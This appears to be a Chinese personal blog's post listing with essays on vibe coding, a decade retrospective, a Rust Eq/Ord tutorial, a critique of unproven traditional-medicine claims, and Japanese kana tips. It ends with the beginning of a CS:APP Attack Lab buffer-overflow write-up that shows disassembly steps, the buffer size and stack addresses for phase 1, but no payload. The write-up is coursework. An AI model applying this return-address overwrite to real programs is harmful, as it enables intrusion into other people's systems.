普通视图

发现新文章,点击刷新页面。
昨天以前iPotato

Intention Is All You Need

作者 JmPotato
2026年3月9日 22:01

距离博客的上一次更新正好过去了一年多。这一年世界,至少是计算机世界,发生了某种“翻天覆地式”的变化。更确切地讲,这些变化的转折点几乎都来自于 2025 年 12 月前后,一系列 SOTA 模型的发布,让 Vibe Coding 悄然跨越了某个质变的节点。程序员像是亲手制造了一个铺天盖地的海啸,并站在岸边观摩它的逼近,首当其冲被吞没的同时,也远先于这地球上任何一个其他角落的职业认识到这样一个事实——人类关于生产力的历史要再一次被改写了——哼,还颇有一丝“殉道者”的隐喻。

我几乎已经从 2026 年 2 月的某个时刻开始就再也没有写过代码,尽管如此我依然保持着高强度的产出,甚至从 GitHub 的绿砖上看,AI 似乎真的让我成了那种 “10x 工程师”。

甚至从那时开始我的活跃度更高了

在这种让人事半功倍的加速效果下,我能感受到最深的情绪其实是焦虑,我想没有程序员能在这样摧枯拉朽般的军备竞赛中保持坦然,但伴随着焦虑孕育而生的更有一种难以言表的兴奋,细细品味这份兴奋,甚至不亚于我在数十年前第一次看到终端中输出“Hello, world!”的那一刻。

行业的这一系列剧变期间,我读到过最具启发性的文章是这篇《AI 是一种编程框架》,它让我觉察到了所谓 Vibe Coding 更深层次的那份底色——意图。LLM 的涌现能力,让意图这个萦绕在所有软件上空最本质的抽象概念,以无比具象的方式变成了软件,或者说软件开发它本身。我们所有程序员在过去现在所学习和掌握的编程语言,无非是达成意图的某种命令集合,意图是所有软件存在的根本原因:每一个软件本质上都是某种人类意图的具象化。过去这个抽象概念需要经过需求分析、架构设计、编码实现等漫长链路才能变成软件,但现在 LLM 把这条链路大幅压缩了。无需思考“怎么做”(How),只需要许愿“我想要什么”(What)。意图不再是软件开发的起点,而是几乎等同于软件开发本身。

更进一步的,我想 Vibe Coding 的成立不只是改变了软件开发的方式。从今往后我们为 Agents 搭建框架、围绕它们的能力敲定工作范式时,所需持有的思维方式也需一同彻底革新。意图本身就是高级的,概括的,有思维性的,任何试图为意图搭建舞台的方式,也必须是高级的,概括的,有思维性的。这话听起来有点抽象,但我想用我最近很喜欢的一个 AI 应用作为例子阐述这一点。Slock 用作者 @stdrc 自己的话讲只是一款 agent-native 的即时通讯工具(IM),应用不管是名字还是用法也都是在玩梗 Slack——这可能整体上来看会缺乏严肃性,给人一种玩具感。但我在使用过程中,愈发觉得这是一款设计理念领先到令人无比敬佩程度的应用。

假设这是一道面试题:设计一个跨 Agent 跨机器编排协作框架。你会怎么做?如果一个从未用过 Slock 的我来解这道题,我想我会下意识地给出类似如下的答案:

  • 统一的 Agent 运行沙箱/Wrapper/交互接口
  • 统一的 Agent 通信协议
  • 统一的上下文存储管理
  • 某种类似 Coordinator 的协调组件,用来协调和下发各类任务
  • ......

甚至我把这个问题在 Slock 里丢给 Agents 们,它们的思路也大同小异,甚至答得更完备,更全面:

Bob 是 gpt-5.4 high

但实际上,Slock 就是用最符合直觉且自然的群聊功能,完成了跨 Agent 跨机器的编排协作框架,并且效果非常的好。Agent 间协作通信的手段就是普通的群聊消息,用 channel 来隔绝上下文……回到此前我抛出的那个观点:意图本身就是高级的,概括的,有思维性的,任何试图为意图搭建舞台的方式,也必须是高级的,概括的,有思维性的。如果问题变成:现在你需要邀请 N 个人一起协作完成一件事,你会怎么做?我想没有人会觉得“拉所有人进一个群或开一个会”是一个荒唐的选择。同样的,这样的解决问题思路也应该是未来我们围绕 Agent 开发创造协作模式,创建工作流的“第一性思维”——一切从意图出发,软件工程已经是旧时代的“糟粕”啦。

当然,文末不可避免的要来到叠甲环节。当意图本身是模糊的、矛盾的、需要在执行中迭代澄清的,单纯地对着 LLM “许愿”还够用吗?以当下的视角看,意图和软件之间的距离并没有被真正消除,只是被暂时遮蔽了。意图可以是起点,但从意图到可靠、可维护、安全的软件之间,仍然存在一段不可忽视的工程距离。有人戏称 LLM 的到来让计算机科学领域终于涌入了大量“计算机民科”,但我想 Vibe Coding 给越来越多的人类一种“人定胜天”的幻觉其实是一件好事,在 LLM 还没把写 bug 的人类毛病彻底改掉之前,软件工程仍然是一门“逆熵”的艺术,而这也许是我们 CS 从业人员最后的护城河。

Intention Is All You Need...?

A decade passed…where did that bring you?

作者 JmPotato
2020年2月2日 23:06

You could not live with your own failure. Where did that bring you? Back to me… ——Thanos

之所以要用一个英文标题,只是因为在提笔时突然想到了 Thanos 在复联 4 中的这句台词。 ——我

虽然只是漫长人生中又一个 365 天的结束,但 2020 年的到来多少还是有一点特别——至少这第一个让我有实感的,一个时代的结束。十年有多长?长到足以让我年龄的十位从 1 变成 2,长到让我读完初中,高中并步入大三,长到让我有机会谈一场长达五年的恋爱,长到让我完成了很多曾向往的事,长到让我也足以做出不计其数的选择……写不动排比了,十年太长,回忆起来有点累。

翻看了自己前几年零零碎碎写的年终总结,有一种意外的陌生感,倒不是陌生我本人,只是对文章中那股于未来充满企望的热情有点陌生。再三确定这不是现在的我在故作深沉,矫揉造作之后,我倒有所释然,可能这就是所谓长大了(这种话现在是可以说的对吧,我特么都 20 了)。

再翻了翻自己的其他文章,发现这些年显著增多的其实是技术相关的文章,虽然也没多几篇,但还是我主动去尝试做出的一个变化,说起来原因其实还有点功利,毕竟马上就要毕业了,多少得经营一点关于程序员人设的内容,好作为个人能力的一种轻微佐证。长久以来我一直把博客当成一个自说自话,畅所欲言的树洞,不期望有很多人能看到(其实还是很希望的,自我表达欲不允许我在这一点上撒谎),我在个人博客存在的意义这篇文章中探讨过相关观点,写博客就像是在经营自己的一个花园,行人偶尔一瞥带来的赞赏,可能比人来人往的参观更有意义和令人满足。

前面提到毕业的事情,终于,我快要结束了一个从幼儿园开始的漫长求学生涯。这一路上得到的成绩并非总是理想,尤其是大学,主要原因还是我太懒,虽然说这样的话难免会让人觉得我有开脱之嫌,但我不得不承认我是真的不喜欢学习,确切的说,是不喜欢为应试所做的学习。当年之所以选择读计算机,完完全全出于爱好,我非常喜欢这个领域,非常享受写代码这样一个可以通过思考进行直观而又优雅之创造的过程,尤其是在 19 年年底拿到了自己人生中第一份实习 offer 之后,经过几个月的工作生活,我更加确定了我更喜欢在实践中进行探索,进行自我提高的方式,也坚定了自己所选所想,自然而然,考研这件事从一个对我来说虚无缥缈的概念终于彻底转变为了一个被排除在外的选项,二十一年了,终于可以第一次主动对应试教育说不,我将此自诩为一种胜利。

根据大家对「年终总结」这种东西的刻板印象,一般写到这里总要列一列各种「我心目中的 Top 10」。我再三尝试过后,选择了放弃。做不出所谓的 Top List 不是因为每一个都很喜欢,或每一个都不喜欢,只是觉得很难量化地给情绪打上各种各样的标签,“最让我xx的十部电影”,“最让我xx的十本书”,很枯燥,也很无聊,没有人设身处地的和你一起体会在观影阅读时的各种共情同理时刻,仅凭一个 List 就想打动别人,说服别人,实在是有些天真。

本来想写一个「时代总结」,但当我开始回忆十年前时,我竟发现记忆是如此的模糊。也是,十年前我还在上小学,十年前我还没有开始写博客,十年前我还没有认识大多数人,十年前我还没有做很多事,十年前我还很单纯(现在也挺单纯的,张艺柯经常说我幼稚)。

「我每天都问自己,今天的我比昨天更博学了吗?」这句来自《奇葩说》,来自杨齐函,听起来甚至有些扎耳的话,却让我产生了一种略微神往的热血感。十年,在时间这个不可逆转的线性过程中,我一直在试图保持自身的「线性」,我希望我的能力,我的优秀,我的成长是一个关于时间的增函数,保持一阶导数永不为负。几年前曾陷入过对自己的怀疑,但好在我有永远支持我的父母, 永远在我身旁的她,有那么几个比我有心有肺多的朋友,我才走到了如今的所思所在。

遥记前几年中文 Twitter 移动网页版的推文输入框有这样一句 placeholder:

眼见何事,情系何处,身在何方,心思何人?

下一个十年,我又会走到哪里?

Rust 常见内置 Traits 详解(一)

作者 JmPotato
2020年2月1日 21:12

本文为《Rust 内置 Traits 详解》系列第一篇,该系列的目的是对 Rust 标准库 std::prelude 中提供的大部分内建 Traits 以适当的篇幅进行解释分析,并辅之以例子(多来自官方文档),旨在帮助读者理解不同 Traits 的使用场景,使用方式及其背后的原因。

本篇作为试水,将包括几个简单的 Traits,均来自于 std::cmp

  • Eq & PartialEq
  • Ord & PartialOrd

Eq & PartialEq

Eq and PartialEq are traits that allow you to define total and partial equality between values, respectively. Implementing them overloads the == and != operators.

这两个 Traits 的名称实际上来自于抽象代数中的等价关系和局部等价关系,实际上两者的区别仅有一点,即是否在相等比较中是否满足反身性(Reflexivity)。

两者均需要满足的条件有:

  • 对称性(Symmetry):a == b 可推出 b == a
  • 传递性(Transitivity):a == bb == c 可推出 a == c

Eq 相比 PartialEq 需要额外满足反身性,即 a == a,对于浮点类型,Rust 只实现了 PartialEq 而不是 Eq,原因就是 NaN != NaN

PartialEq 可使用 #[derive] 来交由编译器实现,这样一个 struct 在进行相等比较时,会对其中每一个字段进行比较,如果遇到枚举,还会对枚举所拥有的数据进行比较。你也可以自己实现自己的 PartialEq 方法,例子如下:

enum BookFormat {
    Paperback,
    Hardback,
    Ebook
}

struct Book {
    isbn: i32,
    format: BookFormat,
}

impl PartialEq for Book {
    fn eq(&self, other: &Self) -> bool {
        self.isbn == other.isbn
    }
}

实现时只需要实现 fn eq(&self, other: &Self) -> bool 判断是否相等的函数,Rust 会自动提供 fn ne(&self, other: &Self) -> bool

实现 Eq 的前提是已经实现了 PartialEq,因为实现 Eq 不需要额外的代码,只需要在实现了 PartialEq 的基础上告诉编译器它的比较满足反身性就可以了。对于上面的例子只需要:#[derive(Eq)]impl Eq for Book {}

Ord & PartialOrd

Ord and PartialOrd are traits that allow you to define total and partial orderings between values, respectively. Implementing them overloads the <, <=, >, and >= operators.

类似于 Eq,Ord 指的是 Total Order,需要满足以下三个性质:

  • 反对称性(Antisymmetry):a <= ba >= b 可推出 a == b
  • 传递性(Transitivity):a <= bb <= c 可推出 a <= c
  • 连通性(Connexity):a <= ba >= b

而 PartialOrd 无需满足连通性,只满足反对称性和传递性即可。

  • 反对称性:a < b 则有 !(a > b),反之亦然
  • 传递性:a < bb < c 可推出 a < c==> 同理

Ord & PartialOrd 均可通过 #[derive] 交由编译器自动实现,当使用 #[derive] 实现后,将会基于 struct 的字段声明以字典序进行比较,遇到枚举中的数据也会以此类推。可以注意到 Ord & PartialOrd 的性质要求会进行等于的比较,所以有以下对 Eq & PartialEq 的依赖要求:

  • PartialOrd 要求你的类型实现 PartialEq
  • Ord 要求你的类型实现 PartialOrd 和 Eq(因此 PartialEq 也需要被实现)

实现 PartialEq,PartialOrd 以及 Ord 时要特别注意彼此之间不能有冲突。

use std::cmp::Ordering;

#[derive(Eq)]
struct Person {
    id: u32,
    name: String,
    height: u32,
}

impl Ord for Person {
    fn cmp(&self, other: &Self) -> Ordering {
        self.height.cmp(&other.height)
    }
}

impl PartialOrd for Person {
    fn partial_cmp(&self, other: &Self) -> Option<Ordering> {
        Some(self.cmp(other))
    }
}

impl PartialEq for Person {
    fn eq(&self, other: &Self) -> bool {
        self.height == other.height
    }
}

实现 PartialOrd 需要实现 fn partial_cmp(&self, other: &Self) -> Option<Ordering>,可以注意到这里的返回值是个 Option 枚举,之所以如此是要考虑到与 NaN 作比较的情况:

let result = std::f64::NAN.partial_cmp(&1.0);
assert_eq!(result, None);

完成后会为为你的类型提供 lt()le()gt()ge() 的比较操作。

而实现 Ord 需要实现 fn cmp(&self, other: &Self) -> Ordering,完成后会为你的类型提供 max()min()。在目前的 Nightly 版本中,实现 Ord 还会提供一个 clamp() 函数,用来比较类型是否在某个区间中。

#![feature(clamp)]

assert!((-3).clamp(-2, 1) == -2);
assert!(0.clamp(-2, 1) == 0);
assert!(2.clamp(-2, 1) == 1);

当我反对中医时,我在反对什么?

作者 JmPotato
2020年2月1日 18:28

一觉起来,双黄连可以「抑制」新型冠状病毒的新闻铺天盖地袭来,继而许多人连夜聚集排队购买双黄连的图片也出现在网路之上。究其源起,是一则来自人民日报的微博。

【上海药物所、武汉病毒所联合发现:双黄连可抑制新型冠状病毒】31日从中国科学院上海药物所获悉,该所和武汉病毒所联合研究初步发现,中成药双黄连口服液可抑制新型冠状病毒。此前,上海药物所启动由蒋华良院士牵头的抗新型冠状病毒感染肺炎药物研究应急攻关团队,在前期SARS相关研究和药物发现成果基础上,聚焦针对该病毒的治疗候选新药筛选、评价和老药新用研究。双黄连口服液由金银花、黄芩、连翘三味中药组成。中医认为,这三味中药具有清热解毒、表里双清的作用。现代医学研究认为,双黄连口服液具有广谱抗病毒、抑菌、提高机体免疫功能的作用,是目前有效的广谱抗病毒药物之一。上海药物所长期从事抗病毒药物研究,2003年“非典”期间,上海药物所左建平团队率先证实双黄连口服液具有抗 SARS 冠状病毒作用,十余年来又陆续证实双黄连口服液对流感病毒(H7N9、H1N1、H5N1)、严重急性呼吸综合征冠状病毒、中东呼吸综合征冠状病毒具有明显的抗病毒效应。目前,双黄连口服液已在上海公共卫生临床中心、华中科技大学附属同济医院开展临床研究。(新华社)微博链接>>

此举很难不让人想起曾经所谓板蓝根可以「防治」SARS 的论述。然而时至今日,17 年过去了,依旧没有有关板蓝根实际疗效的临床验证。尽管常见各类不良反应的报道,并且缺乏科学的实验设计来验证其有效性和毒副作用,但你依然可以轻而易举地在药店买到这种药物并服用。相关资料>>

在展开对双黄连,板蓝根,或是所有中药和中成药是否有用,是否在科学的实验论证下证实其确有疗效并明确毒理,药理的质疑前,我想先来讲讲,在现代循证医学的科学背景下,一个药物(常说的「西药」)从被发明出来到大规模上市用于临床治疗,需要经过怎样的阶段,并在这些阶段中分别需要得到怎样的验证。

临床试验(英语:Clinical trial)是一种根据研究方案利用 已上市药物安慰剂 作为 对照组 的方式,对 药物 或其他 医学 治疗在受试者身上进行比较测试的过程。在临床试验中,研究者要先决定所要测试的疗法,例如药物或装置,再决定用哪种疗法与它比较,以及须要找哪一类型的病人来作为测试对象。治疗用药物的话要证明它能有效延长病人的生命、减轻特定症状或降低不良事件之发生以改善病人生活品质。维基百科>>

通常一个药物在被证明有效并安全上市之前后,需要经过这么几个阶段。

  1. 动物试验
  2. 一期临床试验
  3. 二期临床试验
  4. 三期临床试验
  5. 四期临床试验

动物试验无需多言,例如为了直接证明某种疫苗的有效性,显然不可能直接在人身上试验,而在动物身上试验,例如试验用猴子,就成了直接有效初步证明药物有效的手段,同时在这个阶段,实验人员也会收集很多数据以支持后期临床试验的开展。

Ⅰ期临床试验也称临床药理和毒理作用试验期。其是对已通过临床前安全性和有效性评价的新药在人体上验证其安全性。即是根据预先设计的计量,从初始安全剂量开始,逐渐加大,观察人体对该种新药的耐受程度,以确定人体可接受而又不会导致 毒副反应 发生的剂量大小。之后将进行多次给药试验,以确定适合于Ⅱ期临床试验所需的剂量和程序。同时,还必须进行人体的单剂量和多剂量的 药动学 研究,以为Ⅱ期临床试验提供合适的治疗方案。Ⅰ期临床试验通常由健康的 志愿者 参与。在 抗癌药物 开发研究中也允许少数患者参与初步实验。一般而言,Ⅰ期临床试验总共需要试验10~80个病人。

Ⅱ期临床试验也称临床治疗效果的初步探索试验。即是用较小总体的选定适应证的患者,对药物的疗效和安全性进行临床研究,其间将重点观察新药的治疗效果和 不良反应 。同时,还要对新药的 药动学生物利用度 方面进行研究,以确定患者与健康人的药动学差异。Ⅱ期临床试验的主要目的是为Ⅲ期临床试验做准备,以确定初步的 临床适应症 和治疗方案。Ⅱ期临床试验总共需要试验100-200个病人。对照组的病人愈多那便能更进一步找到非常见的副作用。

Ⅲ期临床试验也称治疗的全面评价临床试验。即是在对已通过Ⅱ期临床试验确定了其疗效的新药,与现有已知活性的药物或无药理活性的 安慰剂 进行 对照试验 。该期试验对于患者的选择非常严格,其还必须具有明确的疗效标准和安全性评价标准。新药在经过对照试验后,将对其疗效和安全性进行全面的评价,以判断其是否具有 治疗学 和安全性特征,这决定着其是否能够批准上市销售。Ⅲ期临床试验总共需要试验个300-500病人,最少要测试100次,否则统计学上会有误差,对照组的数量则无具体规定。

Ⅳ期临床试验也称药物推出后的临床监察期。即是在新药推出后,通过大量调查药物对病人的临床效果及情况,监视新药有无效,如何最好地使用以及副作用的发生机会和程度。若疗效不理想或出现严重的副作用而且发生率较高,管制部门则会将那新药召回和退市。第4期临床试验会一直进行,只要仍有很多人用这种药物。

由于事关一个人,一个病人的生命健康和生活品质,药物的作用原理,毒副作用,有效性,安全性等等诸多因素均需要在临床试验中被科学的检验通过,方可上市造福广大患者。任何一个环节的疏忽,都有可能带来灾难性的后果。此时回看人民日报所言的最后一句话:「目前,双黄连口服液已在上海公共卫生临床中心、华中科技大学附属同济医院开展临床研究。」一个才刚刚开始进行临床研究的药物,为何就被冠之以可以「有效抑制」新型冠状病毒的名号?请问这其中的作用原理为何?实验设计为何?经过了怎样的检验?在药物有效性上仅仅给出如此模棱两可的回答,实在是让人难以接受。丁香医生关于双黄连的相关辟谣>>

事实上,也有记者就此事采访询问了上海药物研究所,我摘出了其中几个回答,列举在下,完整的采访链接在此,建议阅读。采访原文链接>>

问:双黄连这个事情是真的吗?
答:对,有抑制作用是初步发现,初步发现对病毒有抑制。
问:早期服用能控制病毒吗?早期服用会有好处吗?
答:目前还没有这么详细的研究,因为我们只是在武汉病毒所做了一个初步的验证。
问:可以抑制病毒的说法是准确的嘛?
答:对对对,但也不能太拔高,因为这个科学的事情我们不想说得太过。
问:目前还在临床研究阶段吗?
答:是这样,我们后续会在上海市临床医学(研究)中心做一些实验,因为双黄连本身就是上市的药物,但是对病人如何有效,我们还要做大量的实验。

如此的专业性,怎能让人不质疑,怎能让人安心?

每当中医被质疑时,总有人会做出包括但不限于以下几个的反驳

  • 我的 XXX 病就是中药医好的,你怎么解释?
  • 要是没有中医,你的老祖宗早就死完了,还哪来的你?
  • 你说中医没用,说中医无效,那你倒是拿出证据来啊?
  • 国家都在扶持中医,开设中医院校,中医医院,难道都是笑话吗?
  • …….

很遗憾,上述的每一种说法都站不住脚,有大量的漏洞,鉴于篇幅限制我不想一一列举反驳,但是我想讲一讲我个人对中医到底是什么样的态度。

每当我们讲到中医时,总是不自觉的拿西医作比较,虽然我不想玩文字游戏,但不得不承认这种论述在表达上显然是有问题的。中医和西医的区别,绝不仅仅是地理上的区别,即所谓中国的,东方的医学和外国的,西方的医学。大多数时候,我们所言中医和所认识的中医是指中国古传统医学,是落后的,陈旧的,我固然不否认中医学科在当下所作的现代化,科学化之努力,但是难以否认的是中医依然是基于经验主义的医学,其基础理论为形而上的,缺乏科学理论支持,并难以实证的诸如五行脏象,气血经络之说。维基百科「中医学」定义>>

而我们常说的「西医」,其真名应该为循证医学,又称实证医学,是一种医学诊疗方法,强调应用完善设计与执行的研究证据将决策最佳化。无论是应用在医学教育,个人决策,适用于群体的指引和政策,还是一般健康服务的管理,循证医学都主张决策和政策皆应尽可能根据证据,而非单单依据从业人员、专家或管理者的信念。因此,它试图确保临床医师的意见(可能受限于知识差距或偏误),有基于科学文献的所有可用知识补足,保证服务为最佳诊疗 。它提倡使用正式且明确的方法来分析证据,并提供给决策者。它推动课程向医学生、从业人员和决策者传授这个方法。维基百科「循证医学」定义>>

任何一个生在 21 世纪的人,一个接受了良好科学教育,拥有基本科学素养,有基本批判性思维的理性人,都应该认识到中医理论在科学发展之下的局限性,并且主动拥护循证医学,我从来不反对接受中医使用中医,而是反对把中医和西医作为平起平坐,在当下中国分庭抗礼的两种医学;我从来不认为中药是完全无效的,而是反对在缺乏科学实证的情况下将其用于临床,甚至广泛宣扬;我从来不认为中医治疗手段是完全不可取的,而是反对放弃现代医学治疗手段而完全诉诸于前者;我从来不认为中医是没有意义的,而是反对不以科学的眼光重新审视中医之精华的论述。

关于最后一点我想有一个实例可以扩展,1969年-1972年间,中国科学家屠呦呦领导的 523 课题组 发现并从 黄花蒿 中提取了青蒿素,使其成为现今所有药物中起效最快的抗恶性疟原虫疟疾药,而黄花蒿作为中草药治疗疟疾的手段在中医中古已有之。试想,还有多少草药中也许还有类似青蒿素一样可以造福人类的物质,以科学的手段发掘背后的原理,是否才是对中医,对现代医学合理的改进手段?

推荐阅读&聆听

信息时代的「真实」

作者 JmPotato
2019年8月16日 12:11

最近信息世界的纷乱,让人十分的头疼。

前些天因为一些言论,我的几乎所有微博都被强制设成了仅自己可见。虽然目前还能正常的写微博和发表评论,但我已经对「在公众领域表达观点」这件事感到十分疲惫。之所以还愿意在博客上写点什么,可能是因为这里还算是互联网领域难得的清净之所,毕竟没什么人关注,用来自说自话也是极好的。

在微博和 Twitter 这两个比较有代表的舆论聚集领域,我每天都能看到各种各样的信息,见到各种各样的观点。万千年的自然选择造就了生物这样一个特性——信息对大脑是一种奖励,换而言之大脑总是在不停告诉你:越多的信息是越好的。毋庸置疑这在遥远的上古时代,对与大自然搏斗谋求生存的人类祖先来说,知道的越多,也就意味着生存繁衍的几率越大。然而这一条看起来绝对正确的客观准则在现今的信息世界里,却好像成为了一种谬误,看的越多,我却越感到迷惑,感到如此的 not good:同一事件有如此之多截然不同的说法,同一事件又会有如此之多截然不同的观点,同一事件让如此之多素不相识的人彼此诅咒仇恨谩骂,同一事件又让以往看起来相同的人变得完全对立,不可调和。

思忖良久,我终究得出了这样一个结论。之前说越多的信息是越好的,实际上「好」这个标签只属于那些真实的信息。然而这个信息时代最匮乏的可能就是真实,我们每天接触的不过是可能包含了「真实」的噪音。当意图挟持了真实,挟持了客观,其传达的可能只有罪恶。

由于某些无形而不可言说的客观存在,对中文社会的大多数人来说谋求信息的真实和自由永远是奢望,甚至连奢望这个词都很不恰当,因为大多人数人甚至都不存在这一份奢望。然而每一个人即便突破了这些无形而不可言说的客观存在,却总会被更高更大的存在阻挡住脚步,大到无法瓦解——毕竟没有人能瓦解人性,拆掉自己内心的围墙。

有关日语五十音的一些学习技巧

作者 JmPotato
2019年7月28日 12:18

下周要赴日旅游,于是以此为动力勉强开始已经搁置许久的日语学习工作。这期间遇到了许多问题,也由此多少积攒了一点经验,故作此文作为记录。更甚一点讲,如果此文能对其他人有所启发和帮助,那是最好的 :)。

作为开始一切的基础,五十音于日语,犹如拼音如汉语,掌握了它才能掌握日语的听说读写,说它比汉语中的拼音还重要也不算为过。不过也是这五十音,成为了劝退许多日语学习者(包括曾今的我)的第一座小山。之所以说是小山,是因为只要花并不多的专注时间,拿下它并非难事。从开始背第一个元音「あ」到最后把所有的平假名、片假名、浊音和拗音背会,我一共用了4天时间。仅仅针对背诵五十音来说,这可以说是很小的时间成本了。

相关五十音的基础知识网上一搜一大把,我不在此赘述。在了解基本的日语背景知识后再读此文,效果更佳。

一些辅助工具

手机 App 必然是背诵五十音辅助工具的第一选择。在经过一番下载和试用后,我目前推荐这三个应用:五十音起源,MOJi 辭典和多邻国。由于我用的是 iOS,所以以下均为 App Store 链接。

小巧,精致以及「术业有专攻类」应用的典范,提供了基础的五十音查找、背诵以及复习功能,还有其他一些日语数字、日期翻译功能。界面做的好看是一方面,最重要的是开发者还提供了对应每一个假名的中文草书与楷书字源。由于日语与汉字密不可分的渊源,学习假名天生对中文母语者自带友好度————结合汉字的形与音做一些类比和联想,是记忆假名不可或缺的一个技巧。具体一些的内容会在后文详述。

现代日语由平假名,片假名以及日语汉字三个部分组成。有时即便你认识其中的中文汉字,你也未必知道其假名拼法,反之亦然。所以为了能快速查找平假名,片假名以及汉字三者之间的对照转换,比起普通的翻译软件,MOJi 辭典提供了任何一个日语字词的假名拼写,读音以及相关例句,并且内置了搜索引擎,可以扩大更深的搜索范围。主界面犹如一个单词本,记录了你所有查过的单词以及频率,方便你及时回顾,非常的好用。

加深记忆最直接有效的一个方式就是不停地进行重复,比起对着干巴巴的五十音生记,多邻国可以帮助你用卡片+提示的形式反复巩固假名和罗马音,词组与假名之间的联系,来达到加深记忆的目的。整个过程只需要跟着应用安排的课程和等级循序渐进,就可以建立比较牢靠的假名记忆,算是比较傻瓜式的学习方法。

我个人的假名背诵流程是这样:先在五十音起源里面用自带的背诵功能进行学习,它会先给你假名的罗马音读音和相应的字源,然后让你在四个选项里面选择正确的对应,基本上一轮下来能记个大概。在你觉得记得差不多能有个基本印象的时候,再到多邻国里面的假名关卡进行卡片答题,也都是相对应的互选,其中会穿插一些基本词汇辅助你记忆假名,例如あか(红色)、しろ(白色)、いち(一)、に(二)等等。就这样反复进行,在你记得比较熟练的时候,就可以没事干打开五十音起源随便选择一行进行复习,如此反复进行,五十音就背完了。

背诵技巧

あ和安,か和加,セ和世,タ和多,モ和毛,ぬ和奴,れ和礼,ハ和八,ビ和比等,这些字形字音都和其汉字来源很相近的假名用联想记忆很快就能记住,然后以 a i u e o 的元音顺序对应展开其每一行,可以辅助你建立对五十音最初记忆的一个轮廓。

再单独说说片假名。由于片假名多用于表示外来词汇,这也对英语使用者来说又是一个福音,这意味着你可以通过片假名的读音大概率猜到这是什么英文词汇,也就知道了意思。那么,如果你顺利的背完了片假名想找点单词进行快速的辅助记忆,最方便的一个选择可能就是把你的手机系统语言改成日语了。改成日语后再打开手机的设置应用,你就会发现一个包含大量片假名词汇并且你也知道之前这些都是什么意思的语言学习天堂。以 iOS 为例,中文设置中会有一个「声音与触感」选项,换成日语后就相应的变成了「サウンドと触感」,「と」是「和」的意思,「サウンド」一听可知就是英语 sound 发音的假名转化。类似的还有「オフ」和「オン」,即 off 和 on。我们再来看这样一个句子:米津玄师のニューシングル。翻译过来即是:米津玄师的新(new)单曲(single)。通过这样的方法可以快速巩固片假名及其发音,顺道也能结合以往的英语学习经验积攒一些片假名词汇。

一些注意事项

  • 片假名和平假名同步进行

两种假名都同等的重要,最好每个发音对应的平假片假一同记忆,个人感觉效果可能要比单独记完平假再记片假要高效一些。

  • 背会清音后,浊音和拗音并不需要死记硬背

有的同学看到一大把的清音之后还有一把的浊音和拗音,难免心生畏惧。其实浊音和拗音并不需要特殊记忆,完全可以化之为一些方法论来活用。先说浊音,字形上无非是在假名的右上角按了两个点和一个圈,且之所以为浊音,是在清音的发音基础上进行了浊化。以か行为例,k 的声母发音浊化之后可以很自然的转化到 g,か也就变成了が,后面同理类推,无需背诵也就记下来了。

至于说拗音,你可以发现拗音均为五十音中的い段(包括浊音)和や行的组合,发音时可以视为吞掉了元音 i 的连读,「东京」即为一个包含拗音的单词「とうきょう」,在书写时よ需要小写以表示这是一个拗音。

  • 发音需要理论与模仿相结合

即便是有各类应用的发音辅助,中文母语学习者难免会以拼音的读法来模仿发音假名,以う段为例,这应该是和中文发音方式最大的一个元音了,中文的 u 音需要嘴唇前突进行发音,音如「巫」,而日语不然,需要两唇几乎不突出的发音。在此基础上,来看ふ这个平假,罗马音 fu,许多人可能会按中文中的「夫」来发音,而正确做法是先做出不突出双唇的う口型,然后不用嗓子发音,用呼出的气息摩擦嘴唇,你就可以听到正确的ふ音了。综上所述,作为一个不同母语的学习者,发音不仅需要听音模仿,也要关注理论,方可习得正确的日语发音。此述也仅是日语发音理论的一角,还有长音,促音等需要学习,所以找一个合适的日语教材也是一个很重要的事情哦。

  • 未完待续

本人还在学习中,今后还有什么的话,再补充吧。

Pomash 的新玩意儿,以及一些将来的 Todo

作者 JmPotato
2018年12月10日 08:35

Pomash 已经许久没有什么大更新了,不过我倒是一直在做一些小修小补。昨天花了一天的时间给 Pomash 加了一些新东西:

  • 把开发环境从 Python 2.7 移植到了 3.7.1
  • 支持了 Valine 评论系统
  • 支持用 LaTeX 写数学公式了
  • 把默认主题换成了 clean(旧的实在是太丑了)
  • 重写了 README

加 Valine 的一个原因是 Disqus 在国内访问有困难,在 @RinChanNOW 多次吐槽以后,被迫找到了这个基于 LeanCloud 的无后端评论系统。

由于大家普遍吐槽 MathJax 效率太差,所以用了 KaTeX 来渲染数学公式。这货也有一个缺点,写公式可能会出现语法支持不全的情况。不过鱼和熊掌不可兼得,目前 KaTeX 应该也是够用了。

这是一个行内公式:$\int_a^b f(x)\mathrm{d}x$

这是一个行外公式:$$\sum_{i=0}^{n}i^2$$

造轮子的过程是永无止境的。眼看着 Pomash 越来越完善,也有了一种「自己的孩子长大了」的错觉,所以 Pomash 还会持续更新下去,下面是一些未来的 Todo:

  • 更多的主题支持
  • 从 hexo 迁移的脚本
  • 编辑器完善(自动补全,图床上传等)
  • 后台评论管理(目前只能在 LeanCloud 手动处理)

~~不考虑我挖坑不填的一向尿性,~~欢迎大家提意见和建议?

CS: APP Attack Lab 缓冲区溢出攻击

作者 JmPotato
2018年12月8日 13:52

学校的计算机系统课用的是 CMU 的教材,刚好做到了缓冲区溢出的实验,所以为了博客文章+1学术交流,在这里记录一下解题过程。操作环境是学校服务器的 Ubuntu 16.04.5 LTS,实验所用程序均为 64 位版本。

准备工作

先做一些准备工作。事先反汇编好两个 target 文件,然后把 cookie.txt 中的值记录下来,作为我们解题需要的关键信息。

~$ cd target102
~/target102$ objdump -d ctarget > ctarget.s
~/target102$ objdump -d rtarget > rtarget.s
~/target102$ cat cookie.txt
0x32046301

由于整个实验都是围绕着一个输入函数展开的,我们先来了解一下其源代码:

void test() {
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

由于 getbuf 函数并不会检查输入的字符串是否超出了缓冲区的大小,所以也就给我们进行注入提供了可能性。

万事俱备,可以开始解题了。

Phase_1

先来看看第一关要触发的 touch1 函数:

void touch1() {
    vlevel = 1; /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");
    validate(1);
    exit(0);
}

所以第一关只需要利用缓冲区溢出「顶替」掉原有的函数返回地址即可,而我们用来冒名顶替的对象,就是第一关要求我们触发的 touch1 函数地址。所以现在我们要确定两个东西:

  1. 缓冲区在栈中的确切大小,以便我们准备溢出字符进行攻击。
  2. touch1 函数的地址。

用 gdb 打开 ctarget,在 getbuf 这个输入函数处设置断点,我们可以看到如下汇编代码:

栈顶指针减去 0x18 意味着我们的缓冲区空间大小为十进制的 24 个字节,结合查看 %rsp 中的内容,我们可以推测出整个缓冲区的空间为从 0x556694a80x556694c0 的 24 Bytes 空间。

